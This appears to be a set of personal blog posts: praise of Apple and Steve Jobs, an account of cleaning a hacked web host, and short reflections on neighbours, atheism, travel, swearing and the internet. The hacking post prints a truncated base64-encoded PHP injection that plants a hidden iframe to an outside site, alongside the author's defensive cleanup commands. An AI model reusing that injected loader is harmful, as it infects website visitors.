I understand criticizing a company that does things you don’t agree with. And I even understand having an (illogically) negative emotional attitude toward whoever is the biggest guy on the block. That’s human nature.

But what I don’t understand is the enmity that has been fostered toward a)Apple’s user base, and b)it (now former) CEO.

First, the fanboy jeers. This is among the most insulting words ever invented. This single word takes everything good that we as humans should stand for — happiness, enthusiasm, loyalty — and single-handedly turns them into a slur against an enormous group of people. Hundreds of millions, even.

Sure, it’s not hating people for being black, or Jewish, it’s hating them for being happy with a product they bought. Therefore, by law, it’s not technically hate-speech. But it is. When I hear the word “fanboy”, I hear hate-speech.

And second, the insults against Steve Jobs. Why? Because he has been successful? Because he’s had the good fortune of having ideas that people like?

I hear people say things like, “Why did you do that? Is it because Steve Jobs told you to do it?” Or, “I don’t want to be stuck with a product that only lets me do what Steve Jobs wants me to do.” Just this morning, I read a Facebook message from a friend of mine, basically attacking Steve Jobs for being a weak, frail, man who has no business running a company. Seriously. You’re kicking the guy because he has cancer? Low.

For more than 10 years, I was a computer user with my fate tied to Microsoft’s whims. I was dragged through every security hole, every licensing agreement, every DLL hell, every flaw in their software, and every whim in their financial department, and every stranglehold in their legal department.

I hated Microsoft. I watched as they blatantly used anti-competitive practices to wipe good companies off the map and establish unearned and unjustified dominance. But I never felt the need to take that out on Bill Gates. He’s a smart man, who single-handedly changed the world.

But now it’s Steve Jobs who’s spent the last 10 years changing the world. And yet somehow the rules have changed. He wears funny clothes and he’s really skinny, so let’s hate him.

Fuck that.

This morning I received a comment on one of my blogs, suggesting that I may have some sort of virus, because navigating to my site triggered Windows Security Essentials to warn of a TrojanDownloader: Java/Exdoer.

I use a Mac, so as usual, the “virus” had no effect on me. But when I viewed the source code of my web site, saw a sneaky IFRAME has been inserted at the very top, even ahead of my DOCTYPE.

My fist thought was to go to another web site hosted on the same account and see if it had been affected. It had. In fact, all of my web sites were affected.

Having seen a similar attack on my previous web host, I had an idea what to look for. I checked several PHP files, but noticed that only those named index.php had been affected. One by one, I began to open them, and pull out the offending code:

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eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0
KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlci
A9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3b
CcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4J
...
...
L2Ftcnlhd21pLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WU
FFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhl
aWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

It was a lot longer than that, but I’m not going to post the entire code — both for readability and because I don’t want to hand out the offending code.

What surprised me, though, was that before I had reached the end of the files I was cleaning, those from which I had already removed the code now had it back!

I was able to verify the infections by issuing the following command:

grep -rl --include=index.php "eval(base64_decode" .

My next theory was that part of the “virus” must include a step to spread itself. That is, after all, the feature that would make it a virus. And if that’s the case, allowing it to be called from one web site would reinfect all the others before I could finish cleaning them in the first place.

So I made a script to do it more quickly:

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#!/usr/bin/env perl
use strict;
use warnings;
 
$^I = '.cleanbak';  # Call for in-place editing; make backups with a .bak suffix
 
while ( <> ) {
  s/eval\(base64[^\)]+\)\)\;//g;
  print;
}

I named that file bin/clean, and then I called it by doing the following:

find . -type f -name 'index.php' -exec bin/clean2 '{}' \;

This removed all traces of the offending code, leaving my web sites safe once again for visitors. I tested everything and verified that the “virus” was no longer showing up on any of my sites. And my grep showed that there were no more bits of hidden base64 code.

But on a lark, I checked again half an hour later and it was back!

So I issued the cleanup command again. And then when it finished, I disabled write permission on my files.

find . -type f -name 'index.php' -exec chmod 444 '{}' \;

This seems to have stemmed the tide. It’s certainly more secure to keep permissions closed down this way, but the obvious side-effect of this is that it will disable the auto-update feature of WordPress.

And more importantly, it’s necessary to find the root cause, because one should not have to lock down write permissions to protect their web site. I need to find out if there is some other script somewhere in my account that’s doing this, or if it’s coming from an admin account on the entire box…

When I first bought my iBook in 2004, it was my first experience is OS X. I’d seen the demos. I’d played with the cool zooming dock bar. I’d worked with people who worked on Macs. But until I bought one, I didn’t understand.

There was nothing to configure. There was nothing to fuss with. There was no Add/Remove Programs in the Control Panel, no DLL hell, no blue screens, no drivers, nothing. My mail went to Mail, my calendar went to Calendar, my contacts went to Address Book, and for everything else I went to Safari.

When I bought my first iPod the following year, it was more of the same. You plug it in, it syncs. You pushed play, it played. You pushed pause, it paused. You pick a song,
you hear that song.

It used to be different

I had spend the previous 10 years messing with Windows and Linux, and 10 years prior to that messing with MS-DOS and AppleDOS. My entire life’s reference to technology had painted it into this box of gadgets, toys, things to play with.

It was necessary to buy the radio with the most buttons and knobs, and a 31-band equalizer, because radios didn’t give us good sound. They needed to be tweaked… and tweak them we did!

If you had a computer, it was part of a wall-sized arsenal. There was a desk, a tower, a keyboard, a mouse, a monitor, speakers, printer, scanner, a shelf for all the software boxes and a drawer stuffed full of CDs. A computer wasn’t a tool, it was a thing that competed for attention, for space, and for money.

Today, it just works

But that’s not the case any more. Thanks to Apple, we have grown accustomed to things that “just work.” No more need for a matrix of wires and a shelf full of peripherals. These days, it’s not uncommon to see a desktop with just a single device on it: a MacBook Pro, or maybe an iMac with wireless keyboard and mouse.

And it’s not just Apple. While Apple championed this change, everyone else has had to follow suit if they want to compete. Today, Windows is simpler to use. Today, Sony makes PCs that are as elegant as those from Apple.

We’ve all benefitted from Apple, even those of use who don’t own any Apple products. Today, it just works. And the difference is amazing. When you’re not spending precious brain cycles managing the mess of cables and peripherals and drivers, you have a lot more attention that you can focus directly on your work. And I think it shows, because people are doing some pretty cool things these days.

The time has come for minimalist software

Over the past year or two, I’ve noticed a change in how I use my computers. With the rise of the social networks and the arrival of “the cloud”, it has become all too common for my average browser session to have several tabs open at all times: two Gmail tabs (for professional and personal accounts), one tab open to Facebook, and one tab open to Twitter. Not to mention often having another tab open to the WordPress admin page on my blog, and maybe additional pages for Google Reader, Google Docs, etc.

My browser was using the majority of my system resources. It was also beginning to invade my mental space. With so many tabs open, you eventually find yourself flipping through them, tab by tab, to see what you’ve missed. Web 2.0 was putting me right back into that cluttered mess from which OS X had rescued me. People have invented all manner of software to limit your ability to surf the web, or to put time limits on your Facebook use, but these things are totalitarian. And what’s worse, they don’t work.

The toolbar and Growl

I’m tempted to give Apple the credit for saving us once again, thanks to the App Store, but that would really be accurate. The real answer comes in the form of Growl, and the many Toolbar apps that support it. I’ve found many of them on the Mac App Store, but there are also several which I couldn’t find there.

It all started when I tried the Twitter app, and found a much better twitter experience by pulling out of the browser. And the immediate feedback from Growl stopped my need to keep looking.

Then, I heard about Sparrow. Sparrow is an email client that runs in the toolbar. It supports multiple accounts, and has Growl notifications when email comes in. Now, I don’t have to keep looking at Gmail pages to see if I’ve got any mail, because I have instant visual feedback in the toolbar, as well as a very user-friendly interface through which to read and respond.

I’ve added FMenu to give me Facebook alerts, GrowlVoice to help me easily see and respond to calls and text messages over Google Voice, and even Skype can run in the toolbar and has Growl support.

It just works. Again.

Now, without all that mental overhead, I’m once again finding myself returning to that peaceful state of mind, where I have no distractions. In the same way that Apple rescued me from PC hell, and Google Reader rescued me from seperate trips to dozens of web sites, now the OS X toolbar, and Growl, are resucuing me from Web 2.0.

I no longer have any need to visit these web sites to see if there’s activity. I already know based on the icon in my toolbar. And if I’ve been at the computer (which I probably have) I probably saw a summary of the activity flash in the corner of my screen, as a Growl notification. So not only do I know about the activity, but I also know whether or not I need to respond to it.

And lest there be any doubt… a native app running in the toolbar consumes FAR LESS system resources than a browser tab — even in Chrome where performance has been so well considered. So not only am I freeing up my own attention, but I’m also freeing up that of my computer, meaning that it will perform better with the extra work I’m going to give it.

Am I a good neighbor? Yes, I think so.



I say hi to people from the building when I see them. I make sure their package deliveries are inside, where they won't be stolen. I do what I can.



I also believe it is important to take care of your surroundings and take pride in the place you live. In the winter, I'm the only person in my building who clears snow from the walk and the front steps. But I don't mind. It's not that hard. And in the summer, I sweep the steps, or vaccuum the front landing. I sweep the back walkway and pick up the trash. It's not a big deal, it only takes a few minutes to do it.



I'm a little disappointed that no one else takes any pride in where they live, and I'm disheartened that if I were to stop, no one else would do it. When I'm out of town for a week or two, I come back to find the building looking a mess. And one day, I'll move and it will stay a mess.

In spite of being raised in a Christian family, I am a firm atheist.



I have, at several times in my life, tried to believe in a god, or a supernatural power, or a spirituality, but any time I did, it always felt instinctively dishonest. And not matter how hard I wanted to believe, I have never witnessed anything in my life which could not be explained my a basic understanding of science.



I do miss church, though. Don't get me wrong, I'll never go back to another church, because I believe that what happens there is abusive and dishonest. I see it as a form of government-sanctioned brainwashing. But, I do miss it. Churches are communities, where many friendships can be born. And there's something nice about seeing people dressed nicely — these days, everyone (even well-to-do people) seems to make an art form of looking like a slob who just rolled out of bed.

If I could travel back in time and give advice to myself when I was 16 years old, my advice would be to get a passport, save some money, and leave the country after high school.



I was 34 years old when I finally travelled to another country for the first time. That's more that 16 years ago! I should have done it much sooner.



I always wanted to travel the world, but I allowed myself to spend too much time believing it wasn't an option for me, having grown up poor. The only person in my family who ever traveled to another country did it via military service… until I finally started my adventures.



Now, I can look back at the past 16 years (since the end of high school) and imagine how much of the world I might have already seen if I hadn't waited so long.



Oh well. There's no sense regretting the past. What's done is done, and I'm traveling now. A lot! I've done more in this year than the average person would do in a decade. And I'm still just getting started. The future is ahead of me.

Studed Silence

No person, act, or word has the power to offend. The only power anyone has over you is the power that you give them.



When people are offended by swearing, they are really only offended by their own lack of control over what you say. They have an idea of how they think you should talk, and they are offended by your refusal to follow their plan.



But who are you to tell me what I'm allowed to say?



A word is only considered a "swear" word when a significant enough number of people agree that they do not want to hear it. But each group of people is subjective. In different company, that word holds absolutely no power to offend.



In fact, often, in the right company, a "swear" word has the power to amuse, to entertain, occasionally even to enlighten.



I believe that the best option is to choose the words that best reach the audience with whom you want to communicate. If you are talking to people who don't like "swear" words, your message will be better heard if you avoid suchs words. Once someone is offended, they stop listening to anything else you're saying.



But if your audience does not respond negatively — or indeed, responds favorably to such language — by all means, I'm in favor of their use. Effective communication means choosing the best word for the situation. And yes, sometimes, that's a "swear" word.

Celle – My shadow on stilts!

My best friend is… ME! Me always accepts anything I do. Me is always supportive. No matter what crazy ideas I come up with, I can always count on Me to go along with it. I have been through a lot with Me. Wherever I go, Me is always there.



I never feel like I am being held back by Me. Some people get very negative about things I want to do, they even say it's impossible or that I can't do it, but they'll never convince Me.



Me is always happy to sit where I like to sit at the movie theater. Me never complains about the hotel I choose when I travel. When I drive, I never hear Me complain about how fast or slow I am going, or criticize when I miss a turn. Me likes all the same movies I do, listens to all the same music I do, and loves all the same foods.



Yeah, Me is definitely the best friend I could ever have.

Area 51

Oh, that's a dangerous game!



I'm sure the author probably intended for people to succumb to their insecurities and ask someone for some sort of critique of their personality, or some physical trait. But I don't have those insecuritites.



In fact, I don't care much what people think of me, so I'd be tempted to ask people really embarrassing, personal questions about themselves.



Evil, I know. But it doesn't have to stop there! With a few minutes of thought, a person could get past such fun, but petty, manipulations and do something even more meaningful with a question that's guaranteed an honest answer…



For example, I could ask Colonel Sanders what his 11 secret herbs and spices are.



I could ask G. W. Bush why he allowed 9/11 to happen.



I could ask what is really hidden at Area 51, but I would have to ask the right person, since the only guarantee is an honest answer… not necessarily the truth.



If I knew who to ask, I could find out who killed Kennedy.



I could ask Dick Cheney how much he got from the devil when he sold his soul.



It might be fun to ask Rick Warren or James Dobson to answer if they honestly believe the things they teach, especially if I could ask them in front of all their TV viewers, but the answer wouldn't change anything.



It might also be fun to ask Rush Limbaugh or Glen Beck if they really believe any of the horse shit they say, but again, unfortunately, the answer would not change anything.



No… the unfortunate reality is that the truth doesn't change anything. Perception is everything. Belief is everything. Learning the truth is mostly pointless.



And so, I think if I had the power to ask one question and get an honest answer in return, I would gather up as many people as possible, turn my head to the sky, and ask "God… do you exist?"

Photograph of Women Working at a Bell System Telephone Switchboard

Could I live without the internet for a month? Yes. Absolutely. I lived without it for 25 years! What's one month?



But would I want to live without it for a month? No. A month without internet would be an incredible setback for me. It would mean no ability to update my blog. It would mean no communication with several friends around the world. It would mean greatly reduced access to my language learning and practice. None of these things are the end of the world, but all are significant to progress on my goals in life.



Moreover, a month without internet would have a major impact on a lot of other things I do. I would have to send out bill payments by mail, whereas I currently pay all my bills online. I would have to go to a ticket counter or a travel agent to book airfare, whereas I do that online (usually at least once per month). And I don't have any idea how I would find and book hotels without a travel agent.



I don't use a phone book, but I could if I needed to. I don't own a dictionary or thesaurus, but I live a few blocks away from a library. I do have a few maps of my city, so I could still find things without Google maps.



I don't think I would write any letters. They're not a replacement for email. I would probably make more phone calls and send more text (SMS) messages.



And a positive effect would be that I'd probably get out more and just walk around and do things… however that would probably result in spending more money. In fact, in general, I can see how giving up the internet would end up costing me a lot of money in many ways!